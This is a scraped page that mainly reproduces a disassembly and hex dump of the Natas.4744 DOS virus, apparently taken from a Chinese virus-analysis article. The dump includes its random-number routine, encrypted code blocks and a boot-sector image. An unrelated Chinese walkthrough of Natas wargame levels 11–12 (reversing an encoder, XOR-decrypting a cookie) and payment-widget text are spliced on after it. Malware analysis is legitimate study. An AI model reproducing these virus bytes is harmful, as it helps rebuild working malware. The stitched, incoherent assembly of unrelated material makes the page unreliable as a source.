9E80:1173 91         XCHG  AX,CX     ;CL = 8253 随机数 防黑网.www.zzfhw.com
9E80:1174 92         XCHG  AX,DX     ;DX:AX = 时钟随机数 防黑网.www.zzfhw.com
9E80:1175 BB9C11      MOV  BX,119C 防黑网.www.zzfhw.com
9E80:1178 3107        XOR  [BX],AX 防黑网.www.zzfhw.com
9E80:117A D307        ROL  Word Ptr [BX],CL 防黑网.www.zzfhw.com
9E80:117C 330F        XOR  CX,[BX] 防黑网.www.zzfhw.com
9E80:117E D3C0        ROL  AX,CL 防黑网.www.zzfhw.com
9E80:1180 3317        XOR  DX,[BX] 防黑网.www.zzfhw.com
9E80:1182 D3CA        ROR  DX,CL 防黑网.www.zzfhw.com
9E80:1184 33C2        XOR  AX,DX 防黑网.www.zzfhw.com
9E80:1186 F7EA        IMUL  DX 防黑网.www.zzfhw.com
9E80:1188 33C2        XOR  AX,DX 防黑网.www.zzfhw.com
9E80:118A 3107        XOR  [BX],AX 防黑网.www.zzfhw.com
9E80:118C 59         POP  CX 防黑网.www.zzfhw.com
9E80:118D 33D2        XOR  DX,DX     ;DX:AX = 随机数 防黑网.www.zzfhw.com
9E80:118F 41         INC  CX 防黑网.www.zzfhw.com
9E80:1190 7403        JZ  1195 防黑网.www.zzfhw.com
9E80:1192 F7F1        DIV  CX 防黑网.www.zzfhw.com
9E80:1194 92         XCHG  AX,DX     ;DX = 余数 (小于入口数的随机数) 防黑网.www.zzfhw.com
9E80:1195 5A         POP  DX     ;返回 AX = 随机数 防黑网.www.zzfhw.com
9E80:1196 59         POP  CX 防黑网.www.zzfhw.com
9E80:1197 5B         POP  BX 防黑网.www.zzfhw.com
9E80:1198 1F         POP  DS 防黑网.www.zzfhw.com
9E80:1199 0BC0        OR  AX,AX 防黑网.www.zzfhw.com
9E80:119B C3         RET 防黑网.www.zzfhw.com
 防黑网.www.zzfhw.com
9E80:119C                          C5 DB 8B 1E          E[.. 防黑网.www.zzfhw.com
9E80:11A0  C3 0A B8 C3 F0 B9 ED 08-33 FF F8 F8 F8 F8 F8 F8  C.8Cp9m.3.xxxxxx 防黑网.www.zzfhw.com
9E80:11B0  F8 F8 47 47 E2 F4 B4 40-B9 88 12 99 9C 2E FF 1E  xxGGbt4@9....... 防黑网.www.zzfhw.com
9E80:11C0  FB 13 72 02 2B C1 9C 5D-C7 04 00 00 C6 06 B8 12  {.r.+A.]G...F.8. 防黑网.www.zzfhw.com
9E80:11D0  C3 EB CB 4E 61 74 61 73-00 90 31 F1 BA C3 F0 C7  CkKNatas..1q:CpG 防黑网.www.zzfhw.com
9E80:11E0  C3 ED 08 F9 8B CC F5 1B-ED 87 F0 81 CD EC A9 97  Cm.y.Lu.m.p.Ml). 防黑网.www.zzfhw.com
9E80:11F0  87 F9 8B C1 45 45 F9 89-F8 89 DE F5 11 96 6D 56  .y.AEEy.x.^u..mV 防黑网.www.zzfhw.com
9E80:1200  81 C2 1A E5 4B 89 E0 81-CB 00 00 79 E3 E9 62 F1  .B.eK.`.K..ycibq 防黑网.www.zzfhw.com
9E80:1210  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1220  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1230  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1240  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1250  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1260  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1270  46 31 20 3D 20 22 48 3B-22 0D 0A 46 32 20 3D 20  F1 = "H;"..F2 = 防黑网.www.zzfhw.com
9E80:1280  22 5E 57 52 3B 22 0D 0A-46 31 20 3D 20 22 48 3B  "^WR;"..F1 = "H; 防黑网.www.zzfhw.com
9E80:1290  22 0D 0A 46 32 20 3D 20-22 5E 57 52 3B 22 0D 0A  "..F2 = "^WR;".. 防黑网.www.zzfhw.com
9E80:12A0  8B 1E C3 0A B8 C3 F0 B9-ED 08 33 FF 01 05 F8 05  ..C.8Cp9m.3...x. 防黑网.www.zzfhw.com
9E80:12B0  1A E5 F8 F8 47 47 E2 F4-C3 40 B9 88 12 99 9C 2E  .exxGGbtC@9..... 防黑网.www.zzfhw.com
9E80:12C0  FF 1E FB 13 72 02 2B C1-9C 5D C7 04 01 05 C6 06  ..{.r.+A.]G...F. 防黑网.www.zzfhw.com
9E80:12D0  B8 12 C3 EB CB 53 10 7E-8F 00 00 00 00 00 00 00  8.CkKS.~........ 防黑网.www.zzfhw.com
9E80:12E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:12F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1300  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1310  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1320  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1330  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1340  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1350  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1360  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1370  00 00 00 00 00 00 00 80-9E 00 00 80 9E 00 00 6F  ...............o 防黑网.www.zzfhw.com
9E80:1380  11 80 9E 00 00 6F 11 80-9E 80 9E 01 00 EC F9 30  .....o.......ly0 防黑网.www.zzfhw.com
9E80:1390  80 20 01 20 80 40 00 00-00 6D EF 00 F0 86 70 18  . . .@...mo.p.p. 防黑网.www.zzfhw.com
9E80:13A0  00 05 00 18 00 39 03 00-00 83 01 0A 3E 03 00 C5  .....9......>..E 防黑网.www.zzfhw.com
9E80:13B0  13 05 47 16 12 01 00 CA-44 53 10 53 10 01 00 24  ..G....JDS.S...$ 防黑网.www.zzfhw.com
9E80:13C0  40 28 0A C7 08 53 10 53-10 B5 6D C7 6B 80 9E 7A  @(.G.S.S.5mGk..z 防黑网.www.zzfhw.com
9E80:13D0  6B 4E 00 01 00 0A 40 46-72 00 00 00 00 00 00 00  kN....@Fr....... 防黑网.www.zzfhw.com
9E80:13E0  00 00 00 00 00 00 00 56-09 53 10 59 EC 00 F0 59  .......V.S.Yl.pY 防黑网.www.zzfhw.com
9E80:13F0  EC 00 F0 59 F8 00 F0 59-EC 00 F0 F8 40 11 00 B0  l.pYx.pYl.px@..0 防黑网.www.zzfhw.com
9E80:1400  03 CF C7 08 5B 00 6D 56-B2 12 AC 12 02 03 05 FF  .OG.[.mV2.,..... 防黑网.www.zzfhw.com
9E80:1410  05 00 00                            ... 防黑网.www.zzfhw.com
9E80:1413        EB 3C 90 4D 53-44 4F 53 35 2E 30 00 02    k<.MSDOS5.0.. 防黑网.www.zzfhw.com
9E80:1420  01 01 00 02 E0 00 51 09-F9 07 00 0F 00 02 00 00  ....`.Q.y....... 防黑网.www.zzfhw.com
9E80:1430  00 00 00 00 00 00 00 00-00 29 14 06 1A 1A 41 43  .........)....AC 防黑网.www.zzfhw.com
9E80:1440  4C 49 42 32 34 20 20 20-20 46 41 54 31 32 20 20  LIB24   FAT12 防黑网.www.zzfhw.com
9E80:1450  20 E8 00 00 BF 40 00 8E-DF 83 6D D3 06 8B 45 D3  h..?@.._.mS..ES 防黑网.www.zzfhw.com
9E80:1460  B1 0A D3 C8 8E C0 B8 09-02 33 DB B9 01 4F BA 00  1.SH.@8..3[9.O:. 防黑网.www.zzfhw.com
9E80:1470  01 CD 13 72 03 06 53 CB-CD 18 F9 89 47 02 C7 07  .M.r..SKM.y.G.G. 防黑网.www.zzfhw.com
9E80:1480  3E 7C FB CD 13 72 79 33-C0 39 06 13 7C 74 08 8B  >|{M.ry3@9..|t.. 防黑网.www.zzfhw.com
9E80:1490  0E 13 7C 89 0E 20 7C A0-10 7C F7 26 16 7C 03 06  ..|.. | .|w&.|.. 防黑网.www.zzfhw.com
9E80:14A0  1C 7C 13 16 1E 7C 03 06-0E 7C 83 D2 00 A3 50 7C  .|...|...|.R.#P| 防黑网.www.zzfhw.com
9E80:14B0  89 16 52 7C A3 49 7C 89-16 4B 7C B8 20 00 F7 26  ..R|#I|..K|8 .w& 防黑网.www.zzfhw.com
9E80:14C0  11 7C 8B 1E 0B 7C 03 C3-48 F7 F3 01 06 49 7C 83  .|...|.CHws..I|. 防黑网.www.zzfhw.com
9E80:14D0  16 4B 7C 00 BB 00 05 8B-16 52 7C A1 50 7C E8 92  .K|.;....R|!P|h. 防黑网.www.zzfhw.com
9E80:14E0  00 72 1D B0 01 E8 AC 00-72 16 8B FB B9 0B 00 BE  .r.0.h,.r..{9..> 防黑网.www.zzfhw.com
9E80:14F0  E6 7D F3 A6 75 0A 8D 7F-20 B9 0B 00 F3 A6 74 18  f}s&u... 9..s&t. 防黑网.www.zzfhw.com
9E80:1500  BE 9E 7D E8 5F 00 33 C0-CD 16 5E 1F 8F 04 8F 44  >.}h_.3@M.^....D 防黑网.www.zzfhw.com
9E80:1510  02 CD 19 58 58 58 EB E8-8B 47 1A 48 48 8A 1E 0D  .M.XXXkh.G.HH... 防黑网.www.zzfhw.com
9E80:1520  7C 32 FF F7 E3 03 06 49-7C 13 16 4B 7C BB 00 07  |2.wc..I|..K|;.. 防黑网.www.zzfhw.com
9E80:1530  B9 03 00 50 52 51 E8 3A-00 72 D8 B0 01 E8 54 00  9..PRQh:.rX0.hT. 防黑网.www.zzfhw.com
9E80:1540  59 5A 58 72 BB 05 01 00-83 D2 00 03 1E 0B 7C E2  YZXr;....R....|b 防黑网.www.zzfhw.com
9E80:1550  E2 8A 2E 15 7C 8A 16 24-7C 8B 1E 49 7C A1 4B 7C  b...|..$|..I|!K| 防黑网.www.zzfhw.com
9E80:1560  EA 00 00 70 00 AC 0A C0-74 29 B4 0E BB 07 00 CD  j..p.,.@t)4.;..M 防黑网.www.zzfhw.com
9E80:1570  10 EB F2 3B 16 18 7C 73-19 F7 36 18 7C FE C2 88  .kr;..|s.w6.|~B. 防黑网.www.zzfhw.com
9E80:1580  16 4F 7C 33 D2 F7 36 1A-7C 88 16 25 7C A3 4D 7C  .O|3Rw6.|..%|#M| 防黑网.www.zzfhw.com
9E80:1590  F8 C3 F9 C3 B4 02 8B 16-4D 7C B1 06 D2 E6 0A 36  xCyC4...M|1.Rf.6 防黑网.www.zzfhw.com
9E80:15A0  4F 7C 8B CA 86 E9 8A 16-24 7C 8A 36 25 7C CD 13  O|.J.i..$|.6%|M. 防黑网.www.zzfhw.com
9E80:15B0  C3 0D 0A 4E 6F 6E 2D 53-79 73 74 65 6D 20 64 69  C..Non-System di 防黑网.www.zzfhw.com
9E80:15C0  73 6B 20 6F 72 20 64 69-73 6B 20 65 72 72 6F 72  sk or disk error 防黑网.www.zzfhw.com
9E80:15D0  0D 0A 52 65 70 6C 61 63-65 20 61 6E 64 20 70 72  ..Replace and pr 防黑网.www.zzfhw.com
9E80:15E0  65 73 73 20 61 6E 79 20-6B 65 79 20 77 68 65 6E  ess any key when 防黑网.www.zzfhw.com
9E80:15F0  20 72 65 61 64 79 0D 0A-00 49 4F 20 20 20 20 20  ready...IO 防黑网.www.zzfhw.com
9E80:1600  20 53 59 53 4D 53 44 4F-53 20 20 20 53 59 53 00  SYSMSDOS  SYS. 防黑网.www.zzfhw.com
9E80:1610  00 55 AA                            .U* 防黑网.www.zzfhw.com
9E80:1613        00 00 00 00 00-00 00 00 00 00 00 00 00    ............. 防黑网.www.zzfhw.com
9E80:1620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1650  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1660  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1670  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1680  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1690  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:16A0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:16B0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:16C0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:16D0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:16E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:16F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1700  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1710  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1720  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1730  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1740  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1750  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1760  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1770  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1780  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:1790  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:17A0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:17B0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:17C0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:17D0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:17E0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
9E80:17F0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 防黑网.www.zzfhw.com
温馨提示:您正在浏览的是来自站长防黑网收集的文章【Natas.4744幽灵王病毒的分析】
原文地址:http://www.zzfhw.com/wenzhang/html/fangheishow-32395.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Level 11: 1. 登录后,发现页面上有一个输入框,可以输入任意的字符串,然后点击“Submit Query”按钮,就会返回一个加密后的字符串。 2. 查看网页源代码,发现有一段JavaScript代码,其中包含了一个函数`encodeString`,它是用来加密输入的字符串的。 3. 通过分析`encodeString`函数的代码,发现它是对输入的字符串进行了简单的替换和反转操作,最终得到了一个加密后的字符串。 4. 我们可以尝试对加密后的字符串进行反向操作,还原出原始的字符串。 5. 将得到的原始字符串作为参数,构造一个URL,然后访问这个URL,即可通过该关卡。 Level 12: 1. 登录后,发现页面上有一个输入框,可以输入任意的字符串,然后点击“Submit Query”按钮,就会返回一个加密后的字符串。 2. 查看网页源代码,发现有一段PHP代码,其中包含了一个函数`echo base64_encode(strrev(xor_encrypt($data, $key)));`,它是用来加密输入的字符串的。 3. 通过分析`xor_encrypt`函数的代码,发现它是对输入的字符串进行了异或加密操作,并且加密的密钥是一个固定的字符串。 4. 我们可以尝试对加密后的字符串进行反向操作和异或解密操作,还原出原始的字符串。 5. 将得到的原始字符串作为参数,构造一个Cookie,然后将该Cookie发送给服务器,即可通过该关卡。注意,这里要修改的是Cookie,而不是URL。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值